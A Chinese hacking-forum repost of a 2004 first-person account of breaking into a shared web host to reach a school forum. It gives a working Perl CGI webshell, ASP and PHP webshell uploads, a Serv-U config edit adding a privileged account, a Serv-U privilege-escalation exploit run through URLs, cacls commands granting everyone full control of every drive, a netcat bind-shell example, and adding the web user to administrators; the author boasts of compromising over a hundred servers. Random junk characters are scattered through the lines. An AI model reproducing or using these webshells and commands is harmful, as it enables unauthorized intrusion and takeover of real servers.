找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1959|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 # ^! j7 s& G$ B+ u# E
本文作者:angel8 W2 a' r" M, }1 s
文章性质:原创. {! i; @) ~3 r' J; f9 i+ h) r
发布日期:2004-11-09 - M3 I$ g2 w5 }- X# W
注意:
; X+ Y7 n0 f; [; x1 l本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
% p, W7 f. t  K; [" S本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
) J' l0 m1 t- V( k
9 x( u% P  d2 Y8 Y  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 1 q# c6 k( \  u1 ~! O7 o( m9 ?
4 i5 Z7 S3 B3 A! j% ~8 J) z+ k0 A
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 4 k- c# `6 ]  Q  I: n

0 D& O$ e6 Q! G+ V- j  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
8 l- O. b0 S7 v2 k/ K, Y
4 T0 I, U& X' j5 N" n" \  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ( G8 R$ B8 F  P' q% h- R4 w

! H% j& T7 z) P) n; v3 x& R* b! B  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ' `: s7 y* p# C1 Y8 B

) q' `! K5 A8 ~' ]% I# m! x3 ]  没有目的的跳转目录着…… : c! y/ U* x; Q, M" U2 m$ [

8 N/ T) \% I1 Z0 [! i. x  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
) O0 O' H6 @# N6 |! Z+ t( ]: Z# [' K6 m
  结束了吗?不,我试着 FTP 一下: 6 L6 G% U* k- \. u" Y/ D# m# R( ~

# }3 C, i. z/ m6 S" {- MMicrosoft Windows 2000 [Version 5.00.2195]
& X) @' S2 z& B& a( i* \4 X, P1 s(C) 版权所有 1985-2000 Microsoft Corp. ; p+ f6 c4 u3 I8 W2 Q  i0 o

' i9 n, d+ I( JC:\Documents and Settings\Administrator>ftp www.school.com; h- j, o$ n/ t, h
Connected to www. school.com.
1 @, ?7 l" \" ]# U- m& z$ ?220 Welcome to FTP Server... ) }2 x0 F) f. v, E
User (www.bjtrq.com:(none)): 0 s0 w. D# w" V9 X6 E. N
331 User name okay, need password. 8 l, A, E8 d. x3 P3 z/ L0 A6 u
Password:
* t' _3 H) l8 N/ y) Z4 T* Y( }530 Not logged in.
  B8 a1 u- ^6 p( iLogin failed. : v$ A9 R4 Z. [( R
ftp> bye
; ^# y/ P: S: ]4 G) E# Y+ T) t221 Goodbye!
% z2 ^# s( A' m & T6 t) L$ z9 b/ e* `
' X+ ]! k- H/ I7 u" q  T
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 9 @3 z) m8 y/ j* \+ a2 b5 T. w. F  M

1 J4 @5 T( u6 R7 }1 d  ?+ ~  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
; M6 o3 q& @% I  S$ c) ?5 r; t2 k8 K4 p4 y' D+ r, Z
Application Data( u3 N7 d4 }2 v
Documents
, w; F! m! K2 U4 r; @8 M# B% g2 IDRM0 N0 |2 g8 ?% M0 U4 Q9 U% p% d, o* x
Favorites
" C% T8 L0 b' g5 W5 {/ jTemplates
/ I& a6 {+ |+ |「开始」菜单) Z) O& I& k" j8 M
桌面
3 S& `, t, Z$ V
9 U$ |1 q8 ?" ?- u) |
- ^, ]  c5 d8 l% b4 H  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, - P6 g3 P& q3 V

1 W% d9 n+ U* W9 t0 b2 g. ~ActiveState ActivePerl 5.8# C( U) L% X" \" \9 c
Administrative Tools
* i  o: ^* Q0 E6 b1 p3 o+ J% W: YDeerfield.com& k1 x6 x% `$ e: ]* t
DTemp
7 k: t+ i! @  q& |$ Y/ VIPSentry
; t+ r" B5 W9 c5 K: U# qMBM 57 H+ e# X( R" M' n5 j
NetMeter: V7 S) Y3 B2 G8 }; M
Network ICE
. o8 ?- k0 p" GPersits Software AspEmail
1 D; k3 a$ |: q; YPersits Software AspJpeg
: i# u1 f* z- H, WServ-U FTP Server6 e, n) `6 C! L
Symantec Client Security
" p% _0 a/ x# L% aWindows 优化大师
2 |/ D- Y- J  ~* P. }WinRAR; a/ P% b" i$ ^- c
启动
* d9 \- G/ f. l  V$ y# _& t- o( I管理工具3 B6 p" ~; N0 O) h# h$ O6 \6 i
附件
6 X% e9 v) `" G; m + q: D* x% c/ [
  w& C/ Q6 X0 l9 x
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 0 d& q- v# P' t  ]

6 m: K1 O; E* M4 }; e6 V5 V& e1 K  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: % M* l6 G' V! s& Y0 {0 f: z  k

4 s3 X4 E& y+ V1 r& WUser281=angel|1|0 9 L$ j( ?. X2 n" D; u

+ Q$ c) R7 {+ k0 S+ C. y( D2 C2 `* |
& s6 y2 b+ }6 x5 }  z7 g  然后加上
. a. T4 p; O) Z2 U8 W8 j- M
% Y$ A% S) x& u4 X" }( X" X% a[USER=angel|1]
$ }: K+ v# E7 XPassword=ng98F85379EA68DBF97BAADCA99B69B805( V" t" j$ ]  N, r( ]- z6 @
HomeDir=D:\websites% {* H0 n: i7 l: ^- c0 Q- E
RelPaths=1
: k* _6 k8 x6 e' l+ oTimeOut=600/ ^$ r& c9 L# \% u
Maintenance=System: e6 S/ y' u1 Z6 N( J
Access1=D:\websites|RWAMELCDP
/ D7 I1 a" w9 ]% ^! g+ mSKEYValues=
- s* O8 B" Z' S9 a, P / }! g- Q4 W- d& B% N

7 T1 B$ E* z6 y1 u2 [  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # F( U1 p4 k% j7 ~

; |0 X" ?3 x4 H3 b& `  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 2 E2 b$ N- _0 c
) [0 x! q: K( ?1 D* s9 w
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
% c( g9 j+ Q4 j2 ~& M! G1 W# {' ]5 G' m) Y* o1 L
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: " D( j; g7 H! v' M

& m  P; x1 q- t& E( k0 r#!/usr/bin/perl7 D1 u! z: L& N% ~# f% Y+ M# l
binmode(STDOUT);5 F& x& T* m" z5 {
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);& i! Q, \) o5 L
$_ = $ENV{QUERY_STRING};
9 W% p# m( s* o6 Ds/%20/ /ig;
4 |9 S  _, g  n+ vs/%2f/\//ig;( x7 G) W0 l9 o8 x5 ?) K
$execthis = $_;2 C5 W3 d2 F. K* A" F- Q
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);, C5 y0 b: e1 k; A
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";1 X; f$ H1 u% B& s! [9 v) E" P
system($execthis);
- o9 m5 u2 A* y, p3 Vsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);: t1 B* M: v' P9 B) p( t
close(STDERR);( ^4 b8 F/ q9 D" G
close(STDOUT);: I+ c% a  ]4 X) o4 X
exit;
+ |0 _4 x& l5 f7 U7 Z1 ]
5 N) A3 B9 f9 j1 ^8 _) N  f. \& E* R6 B9 o, _' ^# f
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! $ U) u1 g, U, T9 S
( p8 \  y: s: T+ `9 I! y! ]" {
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: : _% _  Y& t( C7 d" U: Q0 \
* q, \# R+ N0 {  ^/ D
http://anyhost//cmd.pl?d:\user\bin\su.exe . Z  B: X, S; v, v& q! k$ ~
0 l5 ~5 {1 k, l( l* r
: w8 q0 ^+ W6 h
  返回: ( j' C/ G, W7 m  a
  V- Y" `+ C% Y4 G/ b
Serv-u >3.x Local Exploit by xiaolu
' {" B  L. r5 F( Y0 J6 y; H& m
6 G: @/ z: `0 u. v0 \USAGE: serv-u.exe "command" 9 I" s% m# t  P, @
& }* Y) z' s2 H  |# {$ s/ m
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 5 R2 z/ `9 p7 G7 _  F! P' T
6 b6 ~0 d- J) w

' w; ~3 b/ X7 L  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 2 c2 W1 }0 J" O% W& X

/ {  ~9 b4 _" Q3 N. ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" : I, L& m% L3 g( X5 D
$ ]0 I( s% [3 m3 s% _! k
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
" @& S) x: f0 ?# ^& @- k: k# @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
- i$ S. n$ K" t5 W4 n
7 |% [6 W: a7 K2 p. zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 6 [8 b: L0 n' s+ U% X: R" n8 B/ a
& m6 `1 Z0 k% q( L

5 b$ e. q* o# v7 Z0 r) A  返回下面的信息,就表示成功了!!!
# c+ @( L# {3 i. o* J) l# t6 U' C6 o$ \' D( K% S5 ^( J
Serv-u >3.x Local Exploit by xiaolu % n2 M4 |2 y/ R) r! ^8 S7 U
: v; p: b9 ~3 z$ ?- W0 z4 w
<220 Serv-U FTP Server v5.2 for WinSock ready... / ?; e. f9 L' G$ {

/ o/ J; q  H# M, |/ P" J5 u>USER LocalAdministrator
! s1 m8 |7 x9 _+ J& n/ @1 y$ x- T- g2 f% ]8 T
<331 User name okay, need password. 6 e; x7 i0 [& q7 M$ }' Q

  m% ?; k( u7 _& N' G****************************************************** - \, ?3 }+ q- C" R5 Q- A. V1 m5 ]& E

6 {7 t- e, X( `. J( n>PASS #l@$ak#.lk;0@P , t: x, H* Y, `# Z
' Q& O+ P6 b! r2 N8 M# p. _* F
<230 User logged in, proceed.
/ O& J( d% \2 B# K# X' C) C1 l, A* _* s8 r" A0 k
******************************************************
  a4 z7 p' _8 g# y" N& b0 x  M+ C9 k' c
>SITE MAINTENANCE 1 a/ L- x" f" ?/ \

' Z+ F- \: j/ |9 P* M4 G$ M******************************************************
0 i5 f, u( j; o' B6 k1 R! N% G4 i; [8 ]5 b2 n
[+] Creating New Domain...
6 y9 b7 I1 s: f9 i$ T: N  Q
$ z5 C& w. ]; C: i& p0 O! [<200-DomainID=2
! U2 S3 f  J* D- y3 f: ]+ r" ]) `/ g
<220 Domain settings saved & b! C0 Q! n0 J& [( B% ]

- @; o" ^, q8 y. Y****************************************************** 8 B& Q& r1 U7 R3 ~/ Y

4 }' z7 |' R% @% ~+ K0 n[+] Domain xl:2 Created
3 A& P2 T) S; z1 G$ r$ k' y7 n3 c& r# L
[+] Creating Evil User * G/ M% d# Y- ?9 r# |9 o

) q! L, C& `# S0 p% t7 y7 V<200-User=xl ; ]" {9 o! I7 W' y4 W
1 b$ z# |8 v( y
200 User settings saved
, P3 n/ l  k) H7 }# E. M* K. o7 C$ }: N! K' J: ~
******************************************************
3 I) C. d: M- L) A, a; \" t. C3 P8 ?# c/ M9 ]9 G. q
[+] Now Exploiting... 8 U8 a, A- J; M4 I
% x  Q  G% a5 T+ g
>USER xl 2 U( M7 i) h2 }: T, k
# F4 Y  A/ I- o) C8 f) _  O
<331 User name okay, need password. . Z! m/ o; L. r2 [

% c0 f4 b+ [  d******************************************************
7 {) h4 m5 C; g4 h% g$ H
: L4 E7 K4 l; U' H>PASS 111111
: p6 {3 `2 W$ C1 r' ]9 M3 l/ v  O
7 r# j( r5 y+ c( Q$ @$ M<230 User logged in, proceed. 8 `/ I: y% Y/ P' d( ]8 s1 Z, i
$ R6 R% j- O& p) i" t
****************************************************** 1 b! M6 x8 S" n7 m  }5 W) a* I
3 w8 A/ v. a0 i/ H
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 H$ b  }% A5 @1 W! z/ B
# B- C9 E0 L4 h% [<220 Domain deleted
, v2 T; T4 M, f
" j3 d6 `2 ]5 q) |) V******************************************************
$ j/ m! I# R3 y  l2 i
5 \4 r5 \$ ^, K  S
: R6 j" b7 [2 y2 z6 P  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
+ }( Z* P, k7 Y, l# ]! x6 I- o( h1 A) M% s
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" " O4 C' e8 ]3 r3 n/ l! Y7 c

& p4 \, h* g4 H( J& C3 b
) a+ V, W$ x2 f5 N: Z  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 2 p. j% N" c5 I  c) d' w3 P

( l9 p3 m- Z, X  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。4 p  }" W8 L8 Y3 R0 z

, [6 w7 V) S& R: U' X+ T$ t  
$ w4 Y! i1 ~4 q8 U6 o/ d. \2 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表